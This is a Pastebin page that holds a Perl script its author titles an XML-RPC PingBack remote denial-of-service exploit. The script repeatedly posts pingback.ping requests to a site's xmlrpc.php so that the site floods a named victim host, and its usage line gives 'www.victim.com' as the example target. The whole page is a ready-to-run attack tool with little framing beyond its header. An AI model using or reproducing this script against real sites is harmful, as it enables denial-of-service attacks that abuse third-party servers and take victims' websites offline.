zepek_al

XML-RPC PingBack/TraceBack Remote DOS exploit by Zepek.

Nov 9th, 2017
236
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.50 KB | None | 0 0
  1. #Exploit Title: XML-RPC PingBack API Remote Denial of Service exploit (through xmlrpc.php)
  2. #Date: 09/11/2017
  3. #Category: Remote
  4. #Exploit Author: live:zepek_al
  5. #Tested on: (Debian) Linux
  6. #!/usr/bin/perl
  7. use LWP::UserAgent;
  8. use HTTP::Request::Common;
  9. use IO::Socket::INET;
  10. system("clear");
  11. print "***************************************************************************************\n";
  12. print "*               XML-RPC PingBack API Remote Denial of Service exploit                 *\n";
  13. print "*      Usage: ./exploit.pl <xml_website> <target> <requests count> <real_article>     *\n";
  14. print "*   Example: ./exploit.pl www.myblog.com www.victim.com 50000 /blog/virus-protection/ *\n";
  15. print "*                             Created by Zepek                                        *\n";
  16. print "***************************************************************************************\n\n";
  17. my $target = $ARGV[1] ;
  18. my $xml_site = $ARGV[0];
  19. my $article = $ARGV[3];
  20. my $count = $ARGV[2];
  21. if($count eq '' || $article eq '' || $xml_site eq '' || $target eq '')
  22. {
  23. print "\n[!] Usage: ./exploit.pl <xml_website> <target> <requests count> <real article>\n\n";
  24. exit(1);
  25. }
  26.  
  27. if($target !~ /http:\/\//)
  28. {
  29. $target = "http://$target";
  30. }
  31. if($xml_site !~ /http:\/\//)
  32. {
  33. $xml_site = "http://$xml_site";
  34. }
  35.  
  36. $full = $target.$article;
  37. sleep 1;
  38.  
  39. $text = "<?xml version='1.0' encoding='iso-8859-1'?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>$target</string></value></param><param><value><string>$full</string></value></param></params></methodCall>";
  40. $request_length= length $text;
  41.  
  42. print "Sending POST requests . . \n";
  43.  
  44. $filename = "pingback.txt";
  45. open(FILE , "> $filename");
  46. for($i=1;$i<=$count;$i++)
  47. {
  48. $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0] , PeerPort => 'http(80)', Proto => 'tcp'); #You can change 'PeerPort' if you need
  49. $request = "POST /xmlrpc.php HTTP/1.1\r\nHost: $ARGV[0]\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $request_length\r\n\n<?xml version=\"1.0\" encoding=\"iso-8859-1\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>$ARGV[1]</string></value></param><param><value><string>$ARGV[0]$ARGV[3]</string></value></param></params></methodCall>\r\n\r\n";
  50. sleep 1;
  51. print $request;
  52. print $sock $request;
  53. while(<$sock>)
  54. {
  55. print FILE;
  56. }
  57.  
  58. }
  59. #system("rm pingback.txt"); //If you want to save all connections made in pingback.txt file, remove '#' .
Advertisement
Add Comment
Please, Sign In to add comment